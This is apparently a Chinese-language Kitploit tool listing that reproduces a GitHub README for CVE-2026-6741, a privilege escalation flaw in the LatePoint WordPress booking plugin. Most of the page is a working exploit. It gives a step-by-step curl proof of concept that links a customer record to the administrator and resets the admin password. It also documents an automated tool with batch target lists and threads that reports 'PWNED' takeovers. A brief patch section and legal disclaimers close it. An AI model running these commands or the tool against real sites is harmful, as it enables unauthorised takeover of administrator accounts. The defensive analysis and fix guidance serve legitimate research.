Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-6741 — CVE-2026-6741是LatePoint – Calendar Booking插件中一个CVSS 8.8(高危)的已认证(Agent+)权限提升漏洞。 | Kitploit
工具/GitHubGitHub/xxconi/cve-2026-6741
权限提升漏洞扫描器漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741是LatePoint – Calendar Booking插件中一个CVSS 8.8(高危)的已认证(Agent+)权限提升漏洞。

查看仓库
33个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-6741

CVE-2026-6741 是一个 CVSS 8.8(高危)的认证(Agent+)权限提升漏洞,存在于 LatePoint – 日历预订插件中

CVE-2026-6741 — LatePoint 权限提升扫描器

插件: LatePoint – 用于预约和活动的日历预订插件 (latepoint) CVE ID: CVE-2026-6741 CVSS 评分: 8.8(高危) CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 漏洞类型: 已认证(Agent+)权限提升 → 管理员接管 受影响版本: <= 5.4.1 修补版本: 5.4.2 发布日期: 2026年4月27日 研究人员: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 关于漏洞

具有 latepoint_agent 角色的已认证攻击者可以将任意 LatePoint 客户记录关联到 WordPress 管理员账户,然后利用 LatePoint 自身的密码重置流程修改管理员的密码。

这将导致完全接管站点。


🔍 漏洞摘要

字段值
插件名称LatePoint – 日历预订插件
插件 Sluglatepoint
CVE IDCVE-2026-6741
CVSS 评分8.8(高危)
漏洞类型已认证(Agent+)权限提升
受影响版本<= 5.4.1
修补版本5.4.2
前提条件latepoint_agent 角色,WordPress 6.9+

⚙️ 技术分析

WordPress Abilities API

LatePoint 5.3.0 增加了对 WordPress 6.9+ 引入的 Abilities API 的支持。该 API 允许插件注册可通过 REST API 调用的“ability”类:

root@kitploit:~
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

漏洞代码路径

1 — Ability 定义(缺少角色检查)

root@kitploit:~
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← 唯一检查:此 capability
}

Agent 角色默认拥有 customer__edit 权限:

root@kitploit:~
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent 拥有此权限
        ...
    ];
}

2 — execute() — 无角色检查

root@kitploit:~
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // 仅检查用户是否存在
        // 缺失:未检查目标用户的角色
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← 关联任意 WordPress 用户
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — 密码重置链

root@kitploit:~
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id 现在是管理员 ID → 管理员密码被更改
    }
}

为什么现有检查不足?

root@kitploit:~
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // 仅检查调用者的权限
    // 不检查目标用户的角色
}

🔴 攻击链

root@kitploit:~
latepoint_agent 账户
        │
        ▼
1. 以 Agent 身份登录 WordPress → 获取 REST nonce
        │
        ▼
2. 确定目标管理员 WordPress 用户 ID
   (wp-json/wp/v2/users 或 ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → 无角色检查 → 成功
        │
        ▼
4. LatePoint forgot_password → 向客户邮箱发送重置令牌
        │
        ▼
5. 使用令牌调用 change_password → 触发 update_password()
   → wp_set_password("Hacked!", 1)
   → 管理员密码被更改
        │
        ▼
6. 使用新密码以管理员身份登录 → 完全控制站点 ✓

🧪 概念验证(手动)

⚠️ 免责声明: 本 PoC 仅供教育和防御性安全研究使用。

前提条件:

  • WordPress 6.9+(需要 Abilities API)
  • LatePoint <= 5.4.1 已安装并激活
  • 拥有 latepoint_agent 角色的账户
  • 受控制的 LatePoint 客户记录

步骤 1 — Agent 登录 + REST Nonce

root@kitploit:~
WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# 基于 Cookie 的会话登录
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# 获取 REST nonce
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

步骤 2 — 确定管理员用户 ID

root@kitploit:~
# 通过 REST API 列出管理员用户
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # 通常为 ID=1

步骤 3 — 将客户关联到管理员(漏洞利用)

root@kitploit:~
CUSTOMER_ID=5   # 你控制的 LatePoint 客户 ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

预期响应:

root@kitploit:~
{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

步骤 4 — 发起密码重置

root@kitploit:~
CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint 会向 $CUSTOMER_EMAIL 发送一封包含 account_nonce 令牌的重置邮件。


步骤 5 — 修改密码

root@kitploit:~
RESET_TOKEN="<从邮件获取的令牌>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

此调用会触发 update_password() → wp_set_password($NEW_PASSWORD, 1) 链。管理员密码已被更改。


步骤 6 — 以管理员身份登录

root@kitploit:~
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

验证

root@kitploit:~
# 访问 wp-admin
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# 预期:200 OK(非重定向到 wp-login.php)

# 通过 REST API 验证角色
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# 预期: "roles": ["administrator"]

🛠️ 自动扫描器

安装

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用方法

单个目标 — 全自动

root@kitploit:~
python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123!

手动指定管理员 ID 和客户 ID

root@kitploit:~
python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

第 2 阶段 — 使用重置令牌修改密码

root@kitploit:~
python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected] \
  --reset-token abc123xyz \
  --new-password Hacked_2026!

批量扫描

root@kitploit:~
python latepoint_privesc.py -l targets.txt -t 10 \
  --agent-user agent1 --agent-pass Pass123! \
  -o 结果.txt

使用代理(Burp Suite)

root@kitploit:~
python latepoint_privesc.py -u http://目标.com \
  --agent-user agent1 --agent-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ 参数

通用

Agent 凭证

参数说明
--agent-userAgent 用户名 (必需)
--agent-passAgent 密码 (必需)

目标参数

参数说明默认值
--admin-id目标管理员 WordPress 用户 ID自动检测

密码重置(第 2 阶段)

参数说明默认值
--reset-token从邮件获取的重置令牌—
--new-password新管理员密码Pwned_CVE2026_6741!

📊 扫描器输出状态


🖥️ 示例扫描器输出

root@kitploit:~
[*] 目标         : http://目标.com
[*] Agent        : agent1
[*] 管理员 ID    : 自动检测
[*] 客户 ID      : 自动检测
[*] 重置令牌     : 等待电子邮件
[*] 新密码       : Pwned_CVE2026_6741!

[→] http://目标.com  步骤 1/6: Agent 登录...
[→] http://目标.com  步骤 2/6: 确定管理员用户 ID...
[→] http://目标.com  步骤 3/6: 确定客户 ID...
[→] http://目标.com  步骤 4/6: 客户 #5 → 管理员 #1 关联中...
[→] http://目标.com  步骤 5/6: 发起密码重置...
[→] http://目标.com  步骤 6/6: 修改密码(手动令牌)...

════════════════════════════════════════════════════════════
[★ PWNED     ] http://目标.com
  版本        : 5.4.1
  管理员 ID   : 1
  客户        : #5 <[email protected]>
  用户        : admin  roles=['administrator']
════════════════════════════════════════════════════════════

[+] 已保存 → privesc_results.txt

🔄 两阶段使用流程

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│  阶段 1 — 关联并发送重置邮件                            │
│                                                         │
│  python latepoint_privesc.py -u http://目标.com \       │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected]   │
│                                                         │
│  → 输出:"重置邮件已发送 — 等待令牌"                    │
└─────────────────────────┬───────────────────────────────┘
                           │
                  从邮件获取令牌
                           │
┌─────────────────────────▼───────────────────────────────┐
│  阶段 2 — 使用令牌修改密码                              │
│                                                         │
│  python latepoint_privesc.py -u http://目标.com \       │
│    --agent-user agent1 --agent-pass Pass123! \          │
│    --customer-id 5 --customer-email [email protected] \ │
│    --reset-token abc123xyz \                            │
│    --new-password Hacked_2026!                          │
│                                                         │
│  → 输出:★ PWNED — roles=['administrator']             │
└─────────────────────────────────────────────────────────┘

🛡️ 防御 / 修补

安全的 execute() 示例:

root@kitploit:~
// 不安全(当前 — 5.4.1)
if ( ! get_userdata( $wp_user_id ) ) {
    return new WP_Error( 'wp_user_not_found', ... );
}

// 安全(推荐 — 5.4.2+)
$target_user = get_userdata( $wp_user_id );
if ( ! $target_user ) {
    return new WP_Error( 'wp_user_not_found', ... );
}
// 检查目标用户的角色
if ( in_array( 'administrator', (array) $target_user->roles ) ) {
    return new WP_Error( 'forbidden', 'Cannot link customer to administrator.' );
}

📁 文件结构

root@kitploit:~
cve-2026-6741-scanner/
├── latepoint_privesc.py   # 主扫描器
├── requirements.txt       # 依赖项
└── README.md              # 本文件

⚠️ 法律声明

本工具和 PoC 仅用于授权系统上的教育目的和渗透测试。未经授权在系统上使用将违反土耳其刑法第 243-245 条以及国际网络犯罪法律,构成犯罪。开发者对因滥用本工具而产生的任何法律责任概不负责。


📄 许可证

MIT 许可证 — 仅用于教育和研究目的。


🔗 参考链接

  • Wordfence 公告
  • WordPress Abilities API — WP 6.9
  • LatePoint 插件目录
  • CVSS 3.1 计算器
  • CWE-269: 不正确的权限管理
下载工具
参数简写说明默认值
--url-u单个目标 URL—
--list-l目标列表文件—
--threads-t线程数5
--output-o输出文件privesc_results.txt
--proxy—代理 URL—
--timeout—请求超时(秒)10
--force—即使 Abilities API 检测失败也继续False
--customer-id
受控制的 LatePoint 客户 ID
自动检测
--customer-emailLatePoint 客户电子邮件地址Agent 的电子邮件
状态说明
★ PWNED管理员密码已更改,已登录
~ RESET_SENT重置邮件已发送 — 等待令牌
~ PWD_CHANGE密码已更改 — 手动验证管理员登录
- LINK_FAIL客户-管理员关联失败
- LOGIN_FAILAgent 登录失败
- NO_PLUGINLatePoint 未安装
- NO_ABILITYAbilities API 已关闭(需要 WP 6.9+)
~ NO_CUST未找到客户 ID — 手动指定
~ UNREACH目标无法访问
措施实施方式
插件更新升级至 LatePoint 5.4.2+
添加角色检查在 execute() 中验证目标用户角色
限制 Abilities API从 Agent 角色中移除 connect-customer-to-wp-user 权限
密码重置保护对管理员账户禁用 LatePoint 重置流程
WP 6.9 Abilities 审计定期审查已注册的 ability